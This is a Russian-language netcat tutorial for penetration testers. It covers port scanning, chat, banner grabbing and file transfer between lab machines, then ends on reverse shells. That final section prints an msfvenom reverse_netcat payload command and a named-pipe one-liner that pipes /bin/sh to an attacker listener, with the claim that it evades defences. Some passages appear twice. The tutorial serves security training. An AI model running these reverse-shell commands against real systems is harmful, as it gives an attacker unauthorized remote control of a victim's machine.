
Netcat, технически используемый как «nc» — это сетевая утилита, которая использует соединения TCP и UDP для чтения и записи в сети. Его могут использовать как злоумышленники, так и аудиторы безопасности. Учитывая сценарий атаки, этот многофункциональный инструмент может управляться сценариями, что делает его довольно надежным, и если мы обсудим раздел безопасности, он помогает нам отлаживать и исследовать сеть.«Будь то сканирование портов или получение обратной оболочки, с Netcat возможно все». Сегодня в этой статье мы рассмотрим одну из наиболее часто используемых сетевых утилит и узнаем, как другие фреймворки усиливают Netcat для создания сеанса.
Почему netcat настолько надежен, что может делать все, будь то сканирование портов, захват баннеров, передача файла или даже создание обратного соединения?
Давайте рассмотрим основные функции netcat и ответим на этот вопрос.
- Он действует как простой клиент TCP / UDP / SCTP / SSL для взаимодействия с веб-серверами, серверами telnet, почтовыми серверами и другими сетевыми службами TCP / IP.
- Он перенаправляет трафик TCP / UDP / SCTP на другие порты или хосты, действуя как прокси-сервер SOCKS или HTTP, так что клиенты указывают свои собственные пункты назначения.
- Netcat может даже подключаться к пунктам назначения через цепочку анонимных или аутентифицированных прокси.
- Шифрует связь с помощью SSL и передает ее по IPv4 или IPv6.
- Он действует как брокер соединений, позволяя двум (или более) клиентам подключаться друг к другу через третий (посреднический) сервер.
Давайте попробуем копнуть глубже и выяснить, что еще можно сделать с помощью этого замечательного инструмента.
Базовые команды Netcat
«Help» или «h», этот флаг выпадает из всех возможных вариантов, которые инструмент может сделать для нас. Чтобы начать с netcat, мы будем использовать самую простую команду помощи, а именно:
nc -h

Netcat для ПентестераСканирование портов
Netcat можно использовать как сканер портов, хотя он не предназначен для работы в этом качестве. Чтобы сделать его работоспособным сканером, нам нужно установить флаг «-z», который сообщает netcat, о возможности сканировать демон листинга без отправки каких-либо данных. Это позволяет понять, какой тип службы работает на этом конкретном порту. Таким образом, netcat может выполнять сканирование TCP и UDP, давайте посмотрим, как это сделать:
TCP Сканирование
nc -v -n -z 192.168.1.105 21-100
- [-v]: указывает подробный режим
- [-n]:указывает IP-адреса, состоящие только из чисел.
- [-z]: указывает нулевой режим ввода / вывода [используется для сканирования]

Netcat для Пентестера
UDP сканирование
Мы даже можем сканировать порты UDP так же, как сканировали порты TCP. Здесь мы будем использовать флаг «–u», который будет активировать режим UDP.
nc -vzu 192.168.1.105 161
В этом сценарии мы упомянули номер порта, а не диапазон. На изображении ниже вы можете видеть, что мы захватили работающую службу «snmp».

Netcat для ПентестераВ чате
Netcat также можно использовать для общения двух пользователей. Но перед этим нам нужно установить соединение. Чтобы настроить все это, мы будем использовать два устройства: одно будет играть роль инициатора, а другое — слушателя. Как только это соединение будет установлено, связь может быть осуществлена с обоих концов.
Давайте посмотрим на этот сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.
Первоначально пользователю root kali необходимо настроить свой «слушатель» netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:
Давайте посмотрим на этот сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.
Первоначально пользователю root kali необходимо настроить свой “listener” netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:
nc -lvp 1234
здесь
[l]: Listen Mode
[v]: Verbose Mode
[p]: Local Port
Пришло время настроить инициатор, мы сделаем это от пользователя root Ubuntu, просто предоставив IP-адрес системы, в которой мы запустили листенер, а затем номер порта.
nc 192.168.1.109 1234

Netcat для Пентестера
На изображении ниже вы можете видеть, что соединение было настроено, и теперь обе машины могут обмениваться данными друг с другом.

Netcat для ПентестераЗахват баннера
Баннер — это текстовое сообщение, полученное от хоста, с информацией об открытых портах и службах, а также номера их версий.
Выполните следующую команду, чтобы получить целевые баннеры ftp и ssh:
nc 192.168.1.105 21
nc 192.168.1.105 22

Netcat для ПентестераПередача файлов
Netcat предлагает нам возможность передавать файлы с одного устройства на другое по сети.
Давайте рассмотрим сценарий, в котором пользователь kali освобождается от необходимости передавать свои файлы пользователю на машине Ubuntu.
Из приведенного ниже изображения пользователь на машине kali устанавливает прослушиватель на порт номер 5555 и делится файлом file.txt с помощью параметра «<».
nc -lvp 5555 < file.txt

Netcat для Пентестера
Теперь пользователь, сидящий на сервере Ubuntu, загрузит этот файл, выполнив следующую команду.
nc 192.168.1.109 5555 > file.txt
На изображении ниже вы можете видеть, что пользователь Ubuntu успешно получил файл file.txt из 192.168.1.109, который представляет собой не что иное, как IP-адрес пользователя kali.

Netcat для ПентестераLinux Reverse Shell
Как обсуждалось ранее, netcat может выполнять все, что угодно, поэтому теперь мы попытаемся использовать целевую машину с помощью «msfvenom» для создания полезной нагрузки и настроим listener netcat для захвата сеанса.
Давайте попробуем создать полезную нагрузку с помощью следующей команды:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R
Флаг «R» используется для генерации необработанной полезной нагрузки, которая будет отображаться на нашем экране.

Netcat для Пентестера
На изображении выше вы можете видеть, что наша полезная нагрузка готова, теперь пришло время запустить ее через сервер нашей жертвы.
Откройте машину Ubuntu и введите эту полезную нагрузку в терминал. Прежде чем запускать его, вернитесь к машине злоумышленника (kali Linux) и настройте там listener netcat, используя тот же номер порта, который вы использовали при генерации полезной нагрузки.

Netcat для Пентестера
На изображении ниже вы можете видеть, что, как только жертва запустит полезную нагрузку, мы получим сеанс.

Netcat для Пентестера
Часто бывает, что безопасность становится очень эффективной, и мы не можем захватить сеанс с помощью этого метода, но есть другой способ получить reverse shell.
Перед этим установите listener netcat на порт 443:
Когда listener загрузится, просто выполните следующие команды на целевой машине:
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe
Это поможет вам обойти защиту и продолжить сеанс netcat.

На изображении ниже вы можете видеть, что мы успешно захватили оболочку жертвы.

Рандомизированный порт
Есть вероятность, что мы не можем выбрать собственный порт для настройки прослушивателя или установления соединения netcat. Ну, у netcat есть специальный флаг «–r», который предоставит нам случайный локальный порт.
nc -lv –r
На изображении ниже вы можете видеть, что наш листенер запущен на 38931.

Есть вероятность, что мы не сможем выбрать собственный порт для настройки листенера или установления соединения netcat. Ну, у netcat есть специальный флаг «–r», который предоставит нам случайный локальный порт.
nc -lv –r
На изображении ниже вы можете видеть, что наш листенер запущен на 38931.
